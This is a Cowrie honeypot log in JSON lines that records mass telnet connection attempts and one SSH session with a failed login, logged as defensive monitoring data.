{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":39400,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f2d6d7450a2","protocol":"telnet","message":"New connection: 66.113.179.55:39400 (10.17.0.5:23) [session: 0f2d6d7450a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:58.112936Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":58662,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f221b8c6eec","protocol":"telnet","message":"New connection: 50.116.100.16:58662 (159.203.135.109:23) [session: 4f221b8c6eec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:58.149105Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":59740,"dst_ip":"159.203.135.109","dst_port":23,"session":"d58cbe082500","protocol":"telnet","message":"New connection: 50.116.100.16:59740 (159.203.135.109:23) [session: d58cbe082500]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:58.177821Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":39740,"dst_ip":"10.17.0.5","dst_port":23,"session":"fddc6d6ef0de","protocol":"telnet","message":"New connection: 66.113.179.55:39740 (10.17.0.5:23) [session: fddc6d6ef0de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:58.258823Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":41072,"dst_ip":"10.17.0.5","dst_port":23,"session":"e38b8344fd25","protocol":"telnet","message":"New connection: 66.113.179.55:41072 (10.17.0.5:23) [session: e38b8344fd25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:58.793816Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":42198,"dst_ip":"10.17.0.5","dst_port":23,"session":"c03c2799ca70","protocol":"telnet","message":"New connection: 66.113.179.55:42198 (10.17.0.5:23) [session: c03c2799ca70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:59.269619Z"}
{"eventid":"cowrie.session.closed","duration":30.751610279083252,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:59.509662Z","src_ip":"66.113.179.55","session":"9f4e36e8779f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":42996,"dst_ip":"10.17.0.5","dst_port":23,"session":"91df275758c5","protocol":"telnet","message":"New connection: 66.113.179.55:42996 (10.17.0.5:23) [session: 91df275758c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:59.695104Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":43074,"dst_ip":"10.17.0.5","dst_port":23,"session":"0002a06be1e9","protocol":"telnet","message":"New connection: 66.113.179.55:43074 (10.17.0.5:23) [session: 0002a06be1e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:59.727260Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":44910,"dst_ip":"10.17.0.5","dst_port":23,"session":"8163d38bad0d","protocol":"telnet","message":"New connection: 66.113.179.55:44910 (10.17.0.5:23) [session: 8163d38bad0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:00.473884Z"}
{"eventid":"cowrie.session.closed","duration":30.975870847702026,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:00.636488Z","src_ip":"66.113.179.55","session":"4721b6e8def1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":45740,"dst_ip":"10.17.0.5","dst_port":23,"session":"99e48da1d696","protocol":"telnet","message":"New connection: 66.113.179.55:45740 (10.17.0.5:23) [session: 99e48da1d696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:00.770905Z"}
{"eventid":"cowrie.session.closed","duration":30.105055809020996,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:01.481081Z","src_ip":"66.113.179.55","session":"4584ead3694c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.883312702178955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:01.566582Z","src_ip":"66.113.179.55","session":"3ec10ffcc946","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":49118,"dst_ip":"10.17.0.5","dst_port":23,"session":"c83e05abef90","protocol":"telnet","message":"New connection: 66.113.179.55:49118 (10.17.0.5:23) [session: c83e05abef90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:02.116760Z"}
{"eventid":"cowrie.session.closed","duration":31.00797700881958,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:02.575901Z","src_ip":"66.113.179.55","session":"79d996770174","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.978050708770752,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:02.617709Z","src_ip":"66.113.179.55","session":"1ad2d6c2d4f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":51260,"dst_ip":"10.17.0.5","dst_port":23,"session":"e67d0103e6ad","protocol":"telnet","message":"New connection: 66.113.179.55:51260 (10.17.0.5:23) [session: e67d0103e6ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:03.054025Z"}
{"eventid":"cowrie.session.closed","duration":30.211005449295044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:03.119956Z","src_ip":"50.116.100.16","session":"932c00681ca1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.865041255950928,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:03.592322Z","src_ip":"66.113.179.55","session":"9668e1891a77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":52596,"dst_ip":"10.17.0.5","dst_port":23,"session":"30915a609432","protocol":"telnet","message":"New connection: 66.113.179.55:52596 (10.17.0.5:23) [session: 30915a609432]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:03.616890Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":53936,"dst_ip":"10.17.0.5","dst_port":23,"session":"b80b6739f742","protocol":"telnet","message":"New connection: 66.113.179.55:53936 (10.17.0.5:23) [session: b80b6739f742]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:04.088509Z"}
{"eventid":"cowrie.session.closed","duration":31.08029818534851,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:04.500396Z","src_ip":"66.113.179.55","session":"58c48f73301d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.299878358840942,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:04.576344Z","src_ip":"66.113.179.55","session":"c3bea6153faf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":55570,"dst_ip":"10.17.0.5","dst_port":23,"session":"19f4f16f8872","protocol":"telnet","message":"New connection: 66.113.179.55:55570 (10.17.0.5:23) [session: 19f4f16f8872]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:04.744390Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":56220,"dst_ip":"10.17.0.5","dst_port":23,"session":"274faed937af","protocol":"telnet","message":"New connection: 66.113.179.55:56220 (10.17.0.5:23) [session: 274faed937af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:05.015985Z"}
{"eventid":"cowrie.session.closed","duration":30.9032244682312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:05.143327Z","src_ip":"50.116.100.16","session":"a59b77956b3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.422308683395386,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:05.404062Z","src_ip":"50.116.100.16","session":"d3b463cec195","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.804468154907227,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:05.513910Z","src_ip":"66.113.179.55","session":"890053934d9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":58106,"dst_ip":"10.17.0.5","dst_port":23,"session":"107b0774e92d","protocol":"telnet","message":"New connection: 66.113.179.55:58106 (10.17.0.5:23) [session: 107b0774e92d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:05.772509Z"}
{"eventid":"cowrie.session.closed","duration":30.9454607963562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:05.777463Z","src_ip":"50.116.100.16","session":"a11b4b5005fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":58392,"dst_ip":"10.17.0.5","dst_port":23,"session":"654bf0cee06e","protocol":"telnet","message":"New connection: 66.113.179.55:58392 (10.17.0.5:23) [session: 654bf0cee06e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:05.877840Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":58508,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e09052c5433","protocol":"telnet","message":"New connection: 66.113.179.55:58508 (10.17.0.5:23) [session: 7e09052c5433]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:05.922502Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":39966,"dst_ip":"159.203.135.109","dst_port":23,"session":"a65e8d45367e","protocol":"telnet","message":"New connection: 50.116.100.16:39966 (159.203.135.109:23) [session: a65e8d45367e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:05.951225Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":58936,"dst_ip":"10.17.0.5","dst_port":23,"session":"98edafe852f9","protocol":"telnet","message":"New connection: 66.113.179.55:58936 (10.17.0.5:23) [session: 98edafe852f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:06.057838Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":59528,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6ebf263f848","protocol":"telnet","message":"New connection: 66.113.179.55:59528 (10.17.0.5:23) [session: f6ebf263f848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:06.287113Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":39274,"dst_ip":"159.203.135.109","dst_port":23,"session":"8443023450de","protocol":"telnet","message":"New connection: 50.116.100.16:39274 (159.203.135.109:23) [session: 8443023450de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:06.293191Z"}
{"eventid":"cowrie.session.closed","duration":30.804552793502808,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:06.492636Z","src_ip":"66.113.179.55","session":"db448bcd7bb1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":60108,"dst_ip":"10.17.0.5","dst_port":23,"session":"8287a19e83f1","protocol":"telnet","message":"New connection: 66.113.179.55:60108 (10.17.0.5:23) [session: 8287a19e83f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:06.509481Z"}
{"eventid":"cowrie.session.closed","duration":30.70110774040222,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:06.523347Z","src_ip":"66.113.179.55","session":"8114bf0966d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.23564338684082,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:06.642560Z","src_ip":"66.113.179.55","session":"2128eaaee771","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.47404956817627,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:06.647330Z","src_ip":"50.116.100.16","session":"43757a07681e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":60766,"dst_ip":"10.17.0.5","dst_port":23,"session":"852592fbf1e2","protocol":"telnet","message":"New connection: 66.113.179.55:60766 (10.17.0.5:23) [session: 852592fbf1e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:06.799337Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":32782,"dst_ip":"10.17.0.5","dst_port":23,"session":"93a630387e64","protocol":"telnet","message":"New connection: 66.113.179.55:32782 (10.17.0.5:23) [session: 93a630387e64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:06.892958Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":40886,"dst_ip":"159.203.135.109","dst_port":23,"session":"70d62c45fff7","protocol":"telnet","message":"New connection: 50.116.100.16:40886 (159.203.135.109:23) [session: 70d62c45fff7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:06.913061Z"}
{"eventid":"cowrie.session.closed","duration":30.27794599533081,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:07.484533Z","src_ip":"66.113.179.55","session":"ca8e46256de7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":34538,"dst_ip":"10.17.0.5","dst_port":23,"session":"0db12f1ad50d","protocol":"telnet","message":"New connection: 66.113.179.55:34538 (10.17.0.5:23) [session: 0db12f1ad50d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:07.542063Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":35275,"dst_ip":"10.17.0.5","dst_port":23,"session":"a68cbe0d7d16","protocol":"telnet","message":"New connection: 66.113.179.55:35275 (10.17.0.5:23) [session: a68cbe0d7d16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:07.818197Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":36120,"dst_ip":"10.17.0.5","dst_port":23,"session":"c47f8f97279e","protocol":"telnet","message":"New connection: 66.113.179.55:36120 (10.17.0.5:23) [session: c47f8f97279e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:08.171798Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":36528,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cf4d31ddf7c","protocol":"telnet","message":"New connection: 66.113.179.55:36528 (10.17.0.5:23) [session: 7cf4d31ddf7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:08.301404Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":37454,"dst_ip":"10.17.0.5","dst_port":23,"session":"612a0afe4277","protocol":"telnet","message":"New connection: 66.113.179.55:37454 (10.17.0.5:23) [session: 612a0afe4277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:08.714955Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":37972,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed0e2bacad0e","protocol":"telnet","message":"New connection: 66.113.179.55:37972 (10.17.0.5:23) [session: ed0e2bacad0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:08.941823Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":38012,"dst_ip":"10.17.0.5","dst_port":23,"session":"77c5e5fc99bd","protocol":"telnet","message":"New connection: 66.113.179.55:38012 (10.17.0.5:23) [session: 77c5e5fc99bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:08.955681Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45602,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa3c2a2cb654","protocol":"ssh","message":"New connection: 159.203.92.129:45602 (159.203.135.109:22) [session: fa3c2a2cb654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:09.195784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:09.201188Z","src_ip":"159.203.92.129","session":"fa3c2a2cb654","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:09.207871Z","src_ip":"159.203.92.129","session":"fa3c2a2cb654","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"test123","message":"login attempt [ai/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:09.219922Z","src_ip":"159.203.92.129","session":"fa3c2a2cb654","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":39332,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4fc45c35412","protocol":"telnet","message":"New connection: 66.113.179.55:39332 (10.17.0.5:23) [session: d4fc45c35412]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:09.544945Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":39916,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd19baace1bd","protocol":"telnet","message":"New connection: 66.113.179.55:39916 (10.17.0.5:23) [session: cd19baace1bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:09.801416Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:10.226089Z","src_ip":"159.203.92.129","session":"fa3c2a2cb654","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.846482276916504,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:10.485834Z","src_ip":"66.113.179.55","session":"561da0abff73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95920419692993,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:10.506242Z","src_ip":"66.113.179.55","session":"4b4a81f4721f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":42448,"dst_ip":"10.17.0.5","dst_port":23,"session":"6270ee27d614","protocol":"telnet","message":"New connection: 66.113.179.55:42448 (10.17.0.5:23) [session: 6270ee27d614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:10.744736Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":42762,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d786bb7a86a","protocol":"telnet","message":"New connection: 66.113.179.55:42762 (10.17.0.5:23) [session: 0d786bb7a86a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:10.858662Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":44252,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbdb57058a6f","protocol":"telnet","message":"New connection: 66.113.179.55:44252 (10.17.0.5:23) [session: cbdb57058a6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:11.506463Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":44912,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcee17e86593","protocol":"telnet","message":"New connection: 66.113.179.55:44912 (10.17.0.5:23) [session: fcee17e86593]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:11.760498Z"}
{"eventid":"cowrie.session.closed","duration":30.6504807472229,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:12.502126Z","src_ip":"66.113.179.55","session":"65cebc5e66bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.491429090499878,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:12.913602Z","src_ip":"66.113.179.55","session":"8905b72a2b27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":48370,"dst_ip":"10.17.0.5","dst_port":23,"session":"15ebb5bada80","protocol":"telnet","message":"New connection: 66.113.179.55:48370 (10.17.0.5:23) [session: 15ebb5bada80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:13.122826Z"}
{"eventid":"cowrie.session.closed","duration":30.870161294937134,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:13.508479Z","src_ip":"66.113.179.55","session":"436ac689175c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":49776,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c22983b0072","protocol":"telnet","message":"New connection: 66.113.179.55:49776 (10.17.0.5:23) [session: 0c22983b0072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:13.630080Z"}
{"eventid":"cowrie.session.closed","duration":30.658710479736328,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:14.132281Z","src_ip":"186.64.112.9","session":"2d075056b146","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.924612045288086,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:14.477715Z","src_ip":"66.113.179.55","session":"775c8de67759","protocol":"telnet"}
